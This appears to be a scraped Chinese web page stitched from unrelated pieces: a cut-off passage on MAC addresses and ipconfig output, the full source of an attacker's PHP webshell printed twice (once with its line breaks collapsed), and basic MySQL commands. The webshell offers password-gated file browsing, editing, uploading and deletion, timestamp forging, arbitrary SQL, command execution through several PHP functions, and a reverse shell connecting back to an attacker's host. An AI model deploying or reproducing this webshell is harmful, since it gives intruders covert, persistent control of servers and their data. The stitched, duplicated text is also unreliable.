这个结构进行处理(它将根据网络状况推测出下一个最快路由节点,从而最快传送数据到预定的目标地址)。    设想,只有路由机器能够检查这个结构,并且所有其他的机器都忽略这个 结构,则嗅探器无论如何也无法检测到这个结构的。    1.3.1 MAC地址的格式是什么?    以太网卡的MAC地址是一组48比特的数字,这48比特分为两个部分组成,前面的24比特用于表示以太网卡的寄主,后面的24比特
是一组序列号,是由寄主进行支派的。这样可以担保没有任何两块网卡的MAC地址是相同的(当然可以通过特殊的方法实现)。如果出
现相同的地址,将发生问题,所有这一点是非常重要的。这24比特被称之为OUI(Organizationally Unique Identifier)。    可是,OUI的真实长度只有22比特,还有两个比特用于其他:一个比特用来校验是否是广播或者多播地址,另一个比特用来分配
本地执行地址(一些网络允许管理员针对具体情况再分配MAC地址)。    举个例子,你的MAC地址在网络中表示为 03 00 00 00 00 01 。第一个字节所包含的值二进制表示方法为00000011。 可以看到
,最后两个比特都被置为真值。他指定了一个多播模式,向所有的计算机进行广播,使用了“NetBEUI”协议(一般的,在Windows计
算机的网络中,文件共享传输等是不使用TCP/IP协议的)。.    1.3.2 我如何得到自己计算机的MAC地址?    Win9x    Win9x自带的这个程序将告诉你答案:“winipcfg.exe”    WinNT    在命令行的状态下运行这个命令:”ipconfig /all”    它会显示出你的MAC网卡地址,下面是一个例子:    Windows 2000 IP Configuration    Host Name . . . . . . . . . . . . : bigball    Primary DNS Suffix . . . . . . . :    Node Type . . . . . . . . . . . . : Hybrid    IP Routing Enabled. . . . . . . . : No    WINS Proxy Enabled. . . . . . . . : No    Ethernet adapter 本地连接:    Connection-specific DNS Suffix . :    Description . . . . . . . . . . . : Legend/D-Link DFE-530TX PCI Fast Eth    ernet Adapter (Rev    Physical Address. . . . . . . . . : 00-50-BA-25-5D-E8    DHCP Enabled. . . . . . . . . . . : No    IP Address. . . . . . . . . . . . : 192.168.10.254    Subnet Mask . . . . . . . . . . . : 255.255.128.0    Default Gateway . . . . . . . . . : 192.168.10.3    Ethernet adapter SC12001:    Description . . . . . . . . : DEC DC21140 PCI Fast Ethernet    Linux    运行“ifconfig”。结果如下:    eth0 Link encap:Ethernet HWaddr 08:00:17:0A:36:3E    inet addr:192.0.2.161 Bcast:192.0.2.255 Mask:255.255.255.0    UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

大牛LCX写的一个PHP webshell

<?php
/**
Thk:angle maple-x wwofeiwo Netpath
HYTOP PHPwebshell 0.0001ver only test windows2003+APMServ5.2.0
**/
error_reporting(1);
$adminu      = “lcx”;
$adminp      = “202cb962ac59075b964b07152d234b70″;
$url=$_SERVER['PHP_SELF'];
if ($_POST['sendadmin'] == ‘Login’) {
if ( md5(trim($_POST['adminpass']))==$adminp&&trim($_POST['adminuser'])==$adminu) {
setcookie (“adminpass”,md5(trim($_POST['adminpass'])),time()+(1*24*36000));
echo “<meta http-equiv=refresh content=0;URL=”.$_SERVER['PHP_SELF'].”?acton=path>”;
exit;
}
}
if (isset($_COOKIE['adminpass'])) {
if ($_COOKIE['adminpass'] != $adminp and trim($_POST['adminuser']) !=$adminu) {
loginpage();
}
} else {
loginpage();
}
$downfile=$_GET['downfilename'];
if (!empty($downfile)) {
if (!@file_exists($downfile)) {
echo “<script>alert(‘no exists!’)</script>”;
} else {
$filename = basename($downfile);
$filename_info = explode(‘.’, $filename);
$fileext = $filename_info[count($filename_info)-1];
@header(‘Content-type: application/x-’.$fileext);
@header(‘Content-Disposition: attachment; filename=’.$filename);
@header(‘Content-Description: PHP Generated Data’);
@header(‘Content-Length: ‘.filesize($downfile));
@readfile($downfile);
exit;
}
}
if ($_GET['acton']==”path”){
$sCwd = (substr(PHP_OS, 0, 3) == ‘WIN’) ? strtolower(getcwd()) : getcwd();
echo “webph:<br><a href=# onclick=\”vbs:window.open ‘$url?acton=list&page=$sCwd’\”>$sCwd</a>&nbsp&nbsp<a href=$_SERVER[PHP_SELF]?acton=upload> upfile </a>&nbsp&nbsp<a href=$_SERVER[PHP_SELF]?acton=cmd> cmd </a>&nbsp&nbsp<a href=$_SERVER[PHP_SELF]?acton=phpinfo> phpinfo </a>&nbsp&nbsp<a href=$_SERVER[PHP_SELF]?acton=mysql> mysql </a>&nbsp&nbsp<a href=$_SERVER[PHP_SELF]?acton=nc> ncshell </a><br>”;
$letters = range(‘b’,'z’);echo “drive:<br>”;
foreach($letters as $drive){
if (is_dir($drive.’:'))
{
$freespace                 = disk_free_space($drive.’:');
$total_space             = disk_total_space($drive.’:');
$percentage_free         = $freespace ? round($freespace / $total_space, 2) * 100 : 0;
$message=’: ‘.to_readble_size($freespace).’ / ‘.to_readble_size($total_space).’ ['.$percentage_free.'%]‘;
echo “<a href=# language=vbscript onclick=\”window.open ‘$url?acton=list&page=$drive:’\” >$drive</a>$message<br>”;
//echo “<a href=# onclick=\”vbs:location.href=’?acton=list&page=$drive:’\”>$drive</a>$message<br>”;
}
}
}
if ($_GET['acton']==”read”) {
echo “<form action=” name=frm2 method=POST> <textarea name=textarea cols=100 rows=25 >”;
$cls=htmlentities(file_get_contents($_GET['filename']));
echo $cls;
echo “</textarea><INPUT type=submit name=button2 value=edit></form><br>”;
if ($_POST['button2']==”edit”) {
fputs(fopen($_GET['filename'],’w'), stripslashes($_POST['textarea']));
echo “<script language=vbs>msgbox(\”ok,read again\”):location.href=window.location.href</script>”;
}
}
if ($_GET['acton']==”upload”) {
echo “<form enctype=’multipart/form-data’ action=” method=’POST’ name=frm3>”;
echo “<input type=’hidden’ name=’MAX_FILE_SIZE’ value=’300000′ >”;
echo “upload path: <input name=’uploadpath’ type=’text’ value=’c:/’>”;
echo “Send this file: <input name=’userfile’ type=’file’ >”;
echo “<input type=’submit’ value=’SendFile’ name=button3 >”;
echo “</form>”;
$uploaddir = $_POST['uploadpath'];
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
echo ‘<pre>’;
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
echo “File is valid, and was successfully uploaded.\n”;
} else {
echo “Possible file upload attack!\n”;
}
echo ‘Here is some more debugging info:’;
print_r($_FILES);
echo “</pre>”;
}
if ($_GET['acton']==”del”) {
@unlink($_GET['filename']);
}
if ($_GET['acton']==”copy”) {
copy($_GET['filename'],$_GET['newfile']);
}
if ($_GET['acton']==”move”) {
@rename($_GET['filename'],$_GET['newfile']);
}
if ($_GET['acton']==”list”) {
list_dir(stripslashes($_GET[page]));
}
if ($_GET['acton']==”phpinfo”) {
phpinfo();
}
if($_GET['acton']==”cfiletime”){
print<<<eof
<form action=”" method=”POST” name=time>
MODIFY:
<input name=”year” value=”2003″ type=”text”      size=”4″ >
YEAR <select name=”month” >
<option value=”January”>1</option>
<option value=”February”>2</option>
<option value=”March”>3</option>
<option value=”April”>4</option>
<option value=”May”>5</option>
<option value=”June”>6</option>
<option value=”July”>7</option>
<option value=”August”>8</option>
<option value=”September”>9</option>
<option value=”October” selected>1</option>
<option value=”November”>11</option>
<option value=”December”>12</option>
</select>
MONTH
<input name=”data” value=”13″ type=”text”       size=”2″ >
DAY <input name=”hour” value=”13″ type=”text”       size=”2″ >
HOUR <input name=”minute” value=”00″ type=”text”       size=”2″ >
MINUTE <input name=”second” value=”00″ type=”text”       size=”2″ >
SECOND
<input type=”submit” value=”sure” name=”sure”>
</form>
eof;
if ($_POST['sure']==”sure”){
$year=$_POST['year'];
$month=$_POST['month'];
$data=$_POST['data'];
$hour=$_POST['hour'];
$minute=$_POST['minute'];
$second=$_POST['second'];
$time=strtotime(“$data $month $year $hour:$minute:$second”);
echo (@touch($_GET['cfile'],$time)) ? $_POST['curfile'].” CHANGE “.date(“Y-m-d H:i:s”,$time).” !” : “FALSE!”;
}
}
if ($_GET['acton']==”mysql”){
print<<<eof
<FORM METHOD=”POST” ENCTYPE=”multipart/form-data” action=”">
<INPUT TYPE=”text” NAME=”host” value=”localhost”>
<INPUT TYPE=”text” NAME=”db” value=”mysql”>
<INPUT TYPE=”text” NAME=”user” value=”root”>
<INPUT TYPE=”text” NAME=”pass” value=”">
<INPUT TYPE=”text” NAME=”sql” size=100 value=”show tables;”>
<INPUT TYPE=”SUBMIT” name=mysql value=”mysql”>
</FORM>
eof;
if ($_POST['mysql']==”mysql”){
mysql_connect(“$_POST[host]“, “$_POST[user]“, “$_POST[pass]“) or
die(“Could not connect: ” . mysql_error());
mysql_select_db(“$_POST[db]“);
$sql=stripslashes(“$_POST[sql]“);
$result = mysql_query(“$_POST[sql]“);
echo “<pre>”;
while ($row = mysql_fetch_array($result, MYSQL_BOTH)) {
for ($j=0; $j < count($row); $j++) {
printf (” $row[$j]        ”);
}
echo “<br>”;
}
mysql_free_result($result);
}
}
if ($_GET['acton']==”cmd”){
print<<<eof
<form action=”" method=”POST”>
<select       name=”execfunc” >
<option value=”system”>system</option>
<option value=”passthru”>passthru</option>
<option value=”exec”>exec</option>
<option value=”shell_exec”>shell_exec</option>
<option value=”popen”>popen</option>
<option value=”wscript”>Wscript.Shell</option>
<option value=”wscript”>Backticks</option>
<option value=”wscript”>proc_open</option>
</select>
<input name=”command” value=”" type=”text”        size=”60″ >
<input name=”sumbit”       type=”submit”       value=”run” size=”30″ >
<textarea name=”textarea” cols=”100″ rows=”25″ readonly>
eof;
switch($_POST['execfunc'])
{
case ’system’:
system(stripslashes($_POST['command']));
break;
case ‘passthru’:
passthru(stripslashes($_POST['command']));
break;
case ‘exec’:
exec(stripslashes($_POST['command']),$result);
foreach ($result as $line)
echo “$line\n”;
case ’shell_exec’:
$result=shell_exec(stripslashes($_POST['command']));
echo $result;
braek;
case ‘popen’:
$_POST['command']=$_POST['command'].’>’.'02839tmp’;
echo $_POST['command'];
$pp = popen(stripslashes($_POST['command']), ‘r’);
pclose($pp);
$handle = fopen(getenv(DOCUMENT_ROOT).’/02839tmp’, “r”);
$contents = fread($handle, filesize (getenv(DOCUMENT_ROOT).’/02839tmp’));
echo $contents;
fclose($handle);
break;
case ‘wscript’:
$wsh = new COM(‘WScript.shell’) or die(“PHP Create COM WSHSHELL failed”);
$exec = $wsh->exec (“cmd.exe /c “.stripslashes($_POST['command']).”");
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
break;
case ‘Backticks’:
$a=stripslashes($_POST['command']);
$result=`$a`;
echo $result;
break;
case ‘proc_open’:
$descriptorspec = array(
0 => array(“pipe”, “r”),
1 => array(“pipe”, “w”),
2 => array(“pipe”, “w”)
);
$process = proc_open(“”.$_POST['command'].”", $descriptorspec, $pipes);
if (is_resource($process)) {
fwrite($pipes[0], “”.$_POST['command'].”\r\n”);
fwrite($pipes[0], “exit\r\n”);
fclose($pipes[0]);
while (!feof($pipes[1])) {
echo fgets($pipes[1], 1024);
}
fclose($pipes[1]);
while (!feof($pipes[2])) {
echo fgets($pipes[2], 1024);
}
fclose($pipes[2]);
proc_close($process);
}
break;
default:
//@system($_POST['command']);
break;
}
}
echo “</textarea>”;
if ($_GET['acton']==”nc”){
if(isset($_POST['host']) && isset($_POST['port']))
{
$host = $_POST['host'];
$port = $_POST['port'];
}else{
print<<<eof
<form method=post action=”">
Host:<input type=text name=host><br />
Port: <input type=text name=port><br />
<input type=radio name=info check=checked value=linux>Linux
<input type=radio name=info value=win>Win<br />
<input type=submit name=submit value=”反弹连接”>
eof;
print(“————————————————————-”).”<br />”;
print(“注意:win的反弹需要PHP支持socket”).”<br />”;
print(”            Linux在非源码编译安装的情况一般都会支持,具体查看phpinfo()”).”<br />”;
print(”            错误信息:win保存在当目录的log.txt,Linux为/tmp/log.txt”).”<br />”;
die(“欢迎测试”);
}
if($_POST['info']==”win”)
{
$ph=str_replace(chr(92),chr(92).chr(92),$_SERVER['SystemRoot']).chr(92).chr(92).”system32″ ;
$env=array(‘path’ => $ph);
$descriptorspec = array(
0 => array(“pipe”,”r”),
1 => array(“pipe”,”w”),
2 => array(“file”,”log.txt”,”a”),
);
}else{
$env = array(‘PATH’ => ‘/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin’);
$descriptorspec = array(
0 => array(“pipe”,”r”),
1 => array(“pipe”,”w”),
2 => array(“file”,”/tmp/log.txt”,”a”),
);
}
$host=gethostbyname($host);
$proto=getprotobyname(“tcp”);
if(($sock=socket_create(AF_INET,SOCK_STREAM,$proto))<0)
{
die(“Socket Create Faile”);
}
if(($ret=socket_connect($sock,$host,$port))<0)
{
die(“Connect Faile”);
}else{
$message=”———————-PHP Connect-Back——————–\n”;
socket_write($sock,$message,strlen($message));
$cwd=str_replace(‘\\’,'/’,dirname(__FILE__));
while($cmd=socket_read($sock,65535,$proto))
{
if(trim(strtolower($cmd))==”exit”)
{
socket_write($sock,”Bye Bye\n”);
exit;
}else{
$process = proc_open($cmd, $descriptorspec, $pipes, $cwd, $env);
if (is_resource($process)) {
fwrite($pipes[0], $cmd);
fclose($pipes[0]);
$msg=stream_get_contents($pipes[1]);
socket_write($sock,$msg,strlen($msg));
fclose($pipes[1]);
$return_value = proc_close($process);
}
}
}
}
}
function list_dir($path)
{
$dh = opendir($path);
while (($dir = readdir($dh)) !== false)       {
$pathurl=urlencode($path);
$dirurl=urlencode($dir);
if ( $dir != “.” && $dir != “..” ){
if (is_dir(“$path/$dir”) ){
echo “<a href=# onclick=\”vbs:location.href=’?acton=list&page=$path/$dir’\”><b>$path/$dir</b></a><br>”;
}
elseif (!is_dir(“$path/$dir”))
$ctime=date(“Y-m-d H:i:s”,filectime(“$path/$dir”));
$mtime=date(“Y-m-d H:i:s”,filemtime(“$path/$dir”));
$size=to_readble_size(filesize(“$path/$dir”));
$fileperm=substr(base_convert(@fileperms(“$path/$dir”),10,8),-4);
echo ” $dir ($ctime)<a href=$_SERVER[PHP_SELF]?acton=cfiletime&cfile=$pathurl/$dirurl> ($mtime)</a>($size) ($fileperm)<a href=$_SERVER[PHP_SELF]?acton=read&filename=$pathurl/$dirurl target=_blank > read </a><a href=# onclick=\”vbs:ctrl’$pathurl/$dirurl’,'copy’,Inputbox(‘NewFile AD’,'$pathurl/$dirurl’,'c:/1.txt’)\”> copy </a><a href=# onclick=\”vbs:rellay’sure?’,4,’$pathurl/$dirurl’\”> del </a><a href=# onclick=\”vbs:ctrl’$pathurl/$dirurl’,'move’,Inputbox(‘NewFile AD’,'$pathurl/$dirurl’,'c:/1.txt’)\”> move&rename </a><a href=$_SERVER[PHP_SELF]?downfilename=$pathurl/$dirurl> down </a><br>”;
}
}
closedir($dh);
}
function to_readble_size($size)
{
switch (true)
{
case ($size > 1000000000000):
$size /= 1000000000000;
$suffix = ‘TB’;
break;
case ($size > 1000000000):
$size /= 1000000000;
$suffix = ‘GB’;
break;
case ($size > 1000000):
$size /= 1000000;
$suffix = ‘MB’;
break;
case ($size > 1000):
$size /= 1000;
$suffix = ‘KB’;
break;
default:
$suffix = ‘B’;
}
return round($size, 2).$suffix;
}
function loginpage() {
print<<<eof
<center>
<form method=”POST” action=”" name=frm4>
<input name=”adminuser” type=”text” size=”20″>
<input name=”adminpass” type=”password” size=”20″>
<input type=”submit” value=”Login” name=”sendadmin”>
</form>
</center>
eof;
exit;
}?>
<head>
<title>HYTOP PHPwebshell 0.0001ver code by lcx</title>
<SCRIPT language=vbscript>
function rellay(m,b,f)
c=MsgBox(m,b,”del “&f)
If c=6 Then
location.href=”?acton=del&filename=”&f
’set obbjpopwin=window.open(“?acton=del&filename=”&f)
’set obbjpopwin.opener=self
msgbox “ok “
location.href=window.location.href
‘on error resume next
‘obbjpopwin.close()
’set obbjpopwin=nothing
End If
End function
function ctrl(oldfile,acton,newfile)
‘newfile=Inputbox(“NewFile AD”,”?”,newfile)
location.href=”?acton=”&acton&”&filename=”&oldfile&”&newfile=”&newfile
‘window.open “?acton=”&acton&”&filename=”&oldfile&”&newfile=”&newfile
’set obbjpopwin=window.open(“?acton=”&acton&”&filename=”&oldfile&”&newfile=”&newfile)
’set obbjpopwin.opener=self
msgbox “ok “
location.href=window.location.href
‘on error resume next
‘obbjpopwin.close()
’set obbjpopwin=nothing
end function
</script>
</head>

<?php/**Thk:angle maple-x wwofeiwo NetpathHYTOP PHPwebshell 0.0001ver only test windows2003+APMServ5.2.0**/error_reporting(1);$adminu      = “lcx”;$adminp      = “202cb962ac59075b964b07152d234b70″;$url=$_SERVER['PHP_SELF'];if ($_POST['sendadmin'] == ‘Login’) {        if ( md5(trim($_POST['adminpass']))==$adminp&&trim($_POST['adminuser'])==$adminu) {       setcookie (“adminpass”,md5(trim($_POST['adminpass'])),time()+(1*24*36000));       echo “<meta http-equiv=refresh content=0;URL=”.$_SERVER['PHP_SELF'].”?acton=path>”;       exit;      }}if (isset($_COOKIE['adminpass'])) {      if ($_COOKIE['adminpass'] != $adminp and trim($_POST['adminuser']) !=$adminu) {       loginpage();      }} else {      loginpage();}
$downfile=$_GET['downfilename'];if (!empty($downfile)) {if (!@file_exists($downfile)) {      echo “<script>alert(‘no exists!’)</script>”;} else {      $filename = basename($downfile);      $filename_info = explode(‘.’, $filename);      $fileext = $filename_info[count($filename_info)-1];      @header(‘Content-type: application/x-’.$fileext);      @header(‘Content-Disposition: attachment; filename=’.$filename);      @header(‘Content-Description: PHP Generated Data’);      @header(‘Content-Length: ‘.filesize($downfile));      @readfile($downfile);      exit;}}if ($_GET['acton']==”path”){$sCwd = (substr(PHP_OS, 0, 3) == ‘WIN’) ? strtolower(getcwd()) : getcwd();echo “webph:<br><a href=# onclick=\”vbs:window.open ‘$url?acton=list&page=$sCwd’\”>$sCwd</a>&nbsp&nbsp<a href=$_SERVER[PHP_SELF]?acton=upload> upfile </a>&nbsp&nbsp<a href=$_SERVER[PHP_SELF]?acton=cmd> cmd </a>&nbsp&nbsp<a href=$_SERVER[PHP_SELF]?acton=phpinfo> phpinfo </a>&nbsp&nbsp<a href=$_SERVER[PHP_SELF]?acton=mysql> mysql </a>&nbsp&nbsp<a href=$_SERVER[PHP_SELF]?acton=nc> ncshell </a><br>”;$letters = range(‘b’,'z’);echo “drive:<br>”;foreach($letters as $drive){               if (is_dir($drive.’:'))            {                $freespace                 = disk_free_space($drive.’:');                $total_space             = disk_total_space($drive.’:');                $percentage_free         = $freespace ? round($freespace / $total_space, 2) * 100 : 0;                $message=’: ‘.to_readble_size($freespace).’ / ‘.to_readble_size($total_space).’ ['.$percentage_free.'%]‘;       echo “<a href=# language=vbscript onclick=\”window.open ‘$url?acton=list&page=$drive:’\” >$drive</a>$message<br>”;        //echo “<a href=# onclick=\”vbs:location.href=’?acton=list&page=$drive:’\”>$drive</a>$message<br>”;               }        }}
if ($_GET['acton']==”read”) {echo “<form action=” name=frm2 method=POST> <textarea name=textarea cols=100 rows=25 >”;$cls=htmlentities(file_get_contents($_GET['filename']));echo $cls;echo “</textarea><INPUT type=submit name=button2 value=edit></form><br>”;if ($_POST['button2']==”edit”) {fputs(fopen($_GET['filename'],’w'), stripslashes($_POST['textarea']));echo “<script language=vbs>msgbox(\”ok,read again\”):location.href=window.location.href</script>”;   }}if ($_GET['acton']==”upload”) {      echo “<form enctype=’multipart/form-data’ action=” method=’POST’ name=frm3>”;         echo “<input type=’hidden’ name=’MAX_FILE_SIZE’ value=’300000′ >”;      echo “upload path: <input name=’uploadpath’ type=’text’ value=’c:/’>”;         echo “Send this file: <input name=’userfile’ type=’file’ >”;         echo “<input type=’submit’ value=’SendFile’ name=button3 >”;         echo “</form>”;      $uploaddir = $_POST['uploadpath'];            $uploadfile = $uploaddir . basename($_FILES['userfile']['name']);            echo ‘<pre>’;          if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {            echo “File is valid, and was successfully uploaded.\n”;           } else {          echo “Possible file upload attack!\n”;           }echo ‘Here is some more debugging info:’;print_r($_FILES);       echo “</pre>”;
}if ($_GET['acton']==”del”) {             @unlink($_GET['filename']);}
if ($_GET['acton']==”copy”) {copy($_GET['filename'],$_GET['newfile']);}if ($_GET['acton']==”move”) {@rename($_GET['filename'],$_GET['newfile']);}
if ($_GET['acton']==”list”) {list_dir(stripslashes($_GET[page]));}if ($_GET['acton']==”phpinfo”) {phpinfo();}if($_GET['acton']==”cfiletime”){print<<<eof<form action=”" method=”POST” name=time>MODIFY:<input name=”year” value=”2003″ type=”text”      size=”4″ >YEAR <select name=”month” ><option value=”January”>1</option><option value=”February”>2</option><option value=”March”>3</option><option value=”April”>4</option><option value=”May”>5</option><option value=”June”>6</option><option value=”July”>7</option><option value=”August”>8</option><option value=”September”>9</option><option value=”October” selected>1</option><option value=”November”>11</option><option value=”December”>12</option></select>MONTH<input name=”data” value=”13″ type=”text”       size=”2″ >DAY <input name=”hour” value=”13″ type=”text”       size=”2″ >HOUR <input name=”minute” value=”00″ type=”text”       size=”2″ >MINUTE <input name=”second” value=”00″ type=”text”       size=”2″ >SECOND<input type=”submit” value=”sure” name=”sure”></form>eof;if ($_POST['sure']==”sure”){$year=$_POST['year'];$month=$_POST['month'];$data=$_POST['data'];  $hour=$_POST['hour'];$minute=$_POST['minute'];$second=$_POST['second'];$time=strtotime(“$data $month $year $hour:$minute:$second”);echo (@touch($_GET['cfile'],$time)) ? $_POST['curfile'].” CHANGE “.date(“Y-m-d H:i:s”,$time).” !” : “FALSE!”;}}if ($_GET['acton']==”mysql”){print<<<eof<FORM METHOD=”POST” ENCTYPE=”multipart/form-data” action=”"><INPUT TYPE=”text” NAME=”host” value=”localhost”><INPUT TYPE=”text” NAME=”db” value=”mysql”><INPUT TYPE=”text” NAME=”user” value=”root”><INPUT TYPE=”text” NAME=”pass” value=”"><INPUT TYPE=”text” NAME=”sql” size=100 value=”show tables;”><INPUT TYPE=”SUBMIT” name=mysql value=”mysql”></FORM>eof;if ($_POST['mysql']==”mysql”){        mysql_connect(“$_POST[host]“, “$_POST[user]“, “$_POST[pass]“) or            die(“Could not connect: ” . mysql_error());        mysql_select_db(“$_POST[db]“);$sql=stripslashes(“$_POST[sql]“);        $result = mysql_query(“$_POST[sql]“);      echo “<pre>”;        while ($row = mysql_fetch_array($result, MYSQL_BOTH)) {        for ($j=0; $j < count($row); $j++) {                printf (” $row[$j]        ”);        }echo “<br>”;        }        mysql_free_result($result);}}if ($_GET['acton']==”cmd”){print<<<eof<form action=”" method=”POST”><select       name=”execfunc” ><option value=”system”>system</option><option value=”passthru”>passthru</option><option value=”exec”>exec</option><option value=”shell_exec”>shell_exec</option><option value=”popen”>popen</option><option value=”wscript”>Wscript.Shell</option><option value=”wscript”>Backticks</option><option value=”wscript”>proc_open</option></select><input name=”command” value=”" type=”text”        size=”60″ ><input name=”sumbit”       type=”submit”       value=”run” size=”30″ ><textarea name=”textarea” cols=”100″ rows=”25″ readonly>eof;switch($_POST['execfunc']){       case ’system’:        system(stripslashes($_POST['command']));           break;       case ‘passthru’:        passthru(stripslashes($_POST['command']));           break;       case ‘exec’:           exec(stripslashes($_POST['command']),$result);        foreach ($result as $line)        echo “$line\n”;       case ’shell_exec’:        $result=shell_exec(stripslashes($_POST['command']));        echo $result;        braek;       case ‘popen’:        $_POST['command']=$_POST['command'].’>’.'02839tmp’;           echo $_POST['command'];                 $pp = popen(stripslashes($_POST['command']), ‘r’);        pclose($pp);        $handle = fopen(getenv(DOCUMENT_ROOT).’/02839tmp’, “r”);                 $contents = fread($handle, filesize (getenv(DOCUMENT_ROOT).’/02839tmp’));                 echo $contents;                 fclose($handle);                    break;       case ‘wscript’:        $wsh = new COM(‘WScript.shell’) or die(“PHP Create COM WSHSHELL failed”);        $exec = $wsh->exec (“cmd.exe /c “.stripslashes($_POST['command']).”");        $stdout = $exec->StdOut();        $stroutput = $stdout->ReadAll();        echo $stroutput;        break;       case ‘Backticks’:        $a=stripslashes($_POST['command']);           $result=`$a`;        echo $result;        break;       case ‘proc_open’:        $descriptorspec = array(        0 => array(“pipe”, “r”),        1 => array(“pipe”, “w”),        2 => array(“pipe”, “w”));$process = proc_open(“”.$_POST['command'].”", $descriptorspec, $pipes);if (is_resource($process)) {             fwrite($pipes[0], “”.$_POST['command'].”\r\n”);         fwrite($pipes[0], “exit\r\n”);         fclose($pipes[0]);         while (!feof($pipes[1])) {             echo fgets($pipes[1], 1024);         }         fclose($pipes[1]);         while (!feof($pipes[2])) {             echo fgets($pipes[2], 1024);           }         fclose($pipes[2]);         proc_close($process);}        break;       default:   //@system($_POST['command']);           break;}}echo “</textarea>”;
if ($_GET['acton']==”nc”){if(isset($_POST['host']) && isset($_POST['port'])){       $host = $_POST['host'];       $port = $_POST['port'];}else{    print<<<eof<form method=post action=”">Host:<input type=text name=host><br />Port: <input type=text name=port><br />        <input type=radio name=info check=checked value=linux>Linux        <input type=radio name=info value=win>Win<br />        <input type=submit name=submit value=”反弹连接”>eof;print(“————————————————————-”).”<br />”;print(“注意:win的反弹需要PHP支持socket”).”<br />”;print(”            Linux在非源码编译安装的情况一般都会支持,具体查看phpinfo()”).”<br />”;print(”            错误信息:win保存在当目录的log.txt,Linux为/tmp/log.txt”).”<br />”;die(“欢迎测试”);}if($_POST['info']==”win”){      $ph=str_replace(chr(92),chr(92).chr(92),$_SERVER['SystemRoot']).chr(92).chr(92).”system32″ ;       $env=array(‘path’ => $ph);       $descriptorspec = array(           0 => array(“pipe”,”r”),           1 => array(“pipe”,”w”),           2 => array(“file”,”log.txt”,”a”),);}else{       $env = array(‘PATH’ => ‘/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin’);       $descriptorspec = array(           0 => array(“pipe”,”r”),           1 => array(“pipe”,”w”),           2 => array(“file”,”/tmp/log.txt”,”a”),           );}$host=gethostbyname($host);$proto=getprotobyname(“tcp”);if(($sock=socket_create(AF_INET,SOCK_STREAM,$proto))<0){       die(“Socket Create Faile”);}if(($ret=socket_connect($sock,$host,$port))<0){       die(“Connect Faile”);}else{$message=”———————-PHP Connect-Back——————–\n”;socket_write($sock,$message,strlen($message));$cwd=str_replace(‘\\’,'/’,dirname(__FILE__));while($cmd=socket_read($sock,65535,$proto))       {       if(trim(strtolower($cmd))==”exit”)       {       socket_write($sock,”Bye Bye\n”);       exit;       }else{       $process = proc_open($cmd, $descriptorspec, $pipes, $cwd, $env);if (is_resource($process)) {      fwrite($pipes[0], $cmd);      fclose($pipes[0]);          $msg=stream_get_contents($pipes[1]);      socket_write($sock,$msg,strlen($msg));      fclose($pipes[1]);      $return_value = proc_close($process);}       }}}}
function list_dir($path){$dh = opendir($path);while (($dir = readdir($dh)) !== false)       {$pathurl=urlencode($path);$dirurl=urlencode($dir);          if ( $dir != “.” && $dir != “..” ){                if (is_dir(“$path/$dir”) ){              echo “<a href=# onclick=\”vbs:location.href=’?acton=list&page=$path/$dir’\”><b>$path/$dir</b></a><br>”;         }            elseif (!is_dir(“$path/$dir”))                  $ctime=date(“Y-m-d H:i:s”,filectime(“$path/$dir”));       $mtime=date(“Y-m-d H:i:s”,filemtime(“$path/$dir”));       $size=to_readble_size(filesize(“$path/$dir”));       $fileperm=substr(base_convert(@fileperms(“$path/$dir”),10,8),-4);             echo ” $dir ($ctime)<a href=$_SERVER[PHP_SELF]?acton=cfiletime&cfile=$pathurl/$dirurl> ($mtime)</a>($size) ($fileperm)<a href=$_SERVER[PHP_SELF]?acton=read&filename=$pathurl/$dirurl target=_blank > read </a><a href=# onclick=\”vbs:ctrl’$pathurl/$dirurl’,'copy’,Inputbox(‘NewFile AD’,'$pathurl/$dirurl’,'c:/1.txt’)\”> copy </a><a href=# onclick=\”vbs:rellay’sure?’,4,’$pathurl/$dirurl’\”> del </a><a href=# onclick=\”vbs:ctrl’$pathurl/$dirurl’,'move’,Inputbox(‘NewFile AD’,'$pathurl/$dirurl’,'c:/1.txt’)\”> move&rename </a><a href=$_SERVER[PHP_SELF]?downfilename=$pathurl/$dirurl> down </a><br>”;                                                                             }         }
closedir($dh);}function to_readble_size($size)        {            switch (true)            {                case ($size > 1000000000000):                    $size /= 1000000000000;                    $suffix = ‘TB’;                    break;                case ($size > 1000000000):                    $size /= 1000000000;                    $suffix = ‘GB’;                    break;                case ($size > 1000000):                    $size /= 1000000;                    $suffix = ‘MB’;                        break;                case ($size > 1000):                    $size /= 1000;                    $suffix = ‘KB’;                    break;                default:                    $suffix = ‘B’;            }            return round($size, 2).$suffix;        }      function loginpage() {print<<<eof<center><form method=”POST” action=”" name=frm4><input name=”adminuser” type=”text” size=”20″><input name=”adminpass” type=”password” size=”20″><input type=”submit” value=”Login” name=”sendadmin”></form></center>eof;exit;}?><head><title>HYTOP PHPwebshell 0.0001ver code by lcx</title><SCRIPT language=vbscript>function rellay(m,b,f)c=MsgBox(m,b,”del “&f)If c=6 Thenlocation.href=”?acton=del&filename=”&f’set obbjpopwin=window.open(“?acton=del&filename=”&f)’set obbjpopwin.opener=selfmsgbox “ok “location.href=window.location.href’on error resume next’obbjpopwin.close()’set obbjpopwin=nothingEnd IfEnd function
function ctrl(oldfile,acton,newfile)’newfile=Inputbox(“NewFile AD”,”?”,newfile)location.href=”?acton=”&acton&”&filename=”&oldfile&”&newfile=”&newfile’window.open “?acton=”&acton&”&filename=”&oldfile&”&newfile=”&newfile’set obbjpopwin=window.open(“?acton=”&acton&”&filename=”&oldfile&”&newfile=”&newfile)’set obbjpopwin.opener=selfmsgbox “ok “location.href=window.location.href’on error resume next’obbjpopwin.close()’set obbjpopwin=nothingend function</script></head>

mysql 基本命令

第一招、mysql服务的启动和停止
net stop mysql
net start mysql
第二招、登陆mysql
语法如下: mysql -u用户名 -p用户密码
键入命令mysql -uroot -p, 回车后提示你输入密码,输入12345,然后回车即可进入到mysql中了,mysql的提示符是:
mysql>
注意,如果是连接到另外的机器上,则需要加入一个参数-h机器IP
第三招、增加新用户
格式:grant 权限 on 数据库.* to 用户名@登录主机 identified by “密码”
